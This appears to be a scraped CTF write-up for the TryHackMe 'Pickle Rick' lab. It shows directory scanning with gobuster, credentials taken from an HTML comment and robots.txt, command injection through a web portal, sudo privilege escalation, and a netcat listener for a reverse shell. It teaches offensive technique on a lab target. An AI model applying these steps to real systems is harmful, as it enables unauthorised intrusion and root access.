22
loading...
This website collects cookies to deliver better user experience
10.10.81.191
<!--
Note to self, remember username!
Username: R1ckRul3s
-->
Wubbalubbadubdub
┌──(x117㉿kali)-[~]
└─$ gobuster dir -u http://10.10.62.223 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,html,txt,zip
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.62.223
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php,html,txt,zip
[+] Timeout: 10s
===============================================================
2021/07/11 08:40:59 Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 1062]
/login.php (Status: 200) [Size: 882]
/assets (Status: 301) [Size: 313] [--> http://10.10.62.223/assets/]
/portal.php (Status: 302) [Size: 0] [--> /login.php]
/robots.txt (Status: 200) [Size: 17]
Progress: 28200 / 438325 (6.43%) ^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2021/07/11 08:49:19 Finished
===============================================================
http://10.10.81.191/login.php
. It's a login page which requires you to put in the credentials of username and password. From the comment, it's clear that the username is R1ckRul3s
and the password should be what we got in the robots.txt file i.e Wubbalubbadubdub
. (How did I guess? Because it's not a real life scenario and that's the difference between a THM or HTB room or a CTF and real life hacking... here, you always have the answer!!)http://10.10.81.191/portal.php
. Which looks like a very ideal place to perform command injection!whoami
:www-data
ls
Sup3rS3cretPickl3Ingred.txt
assets
clue.txt
denied.php
index.html
login.php
portal.php
robots.txt
cat Sup3rS3cretPickl3Ingred.txt
Command disabled to make it hard for future PICKLEEEE RICCCKKKK.
grep . Sup3rS3cretPickl3Ingred.txt
.
replaces any one character, so if there is any character in any of the lines, the line will be printed, in other words, we are printing out the contents of the whole file!)<censored first ingredient>
sudo -l
and realised I had access to all commands without password. I checked the home directory.ls /home
rick
ubuntu
rick
ls /home/rick
second ingredients
grep . '/home/rick/second ingredients'
<censored second ingredient>
www-data
, second one under rick
. Proceeding on that line, I think we have to check the /root
folder.ls /root
<No response>
sudo ls /root
3rd.txt
snap
sudo grep . /root/3rd.txt
3rd ingredients: <censored third ingredient>
nc -lnvp <port number>
and feeding your own ip and port-number in the payload(When I say, your own ip, I mean your machine ip in THM, in this case). You'll obtain a reverse shell and you can run the earlier commands.sudo /bin/bash
and then view the final 3rd.txt
!!22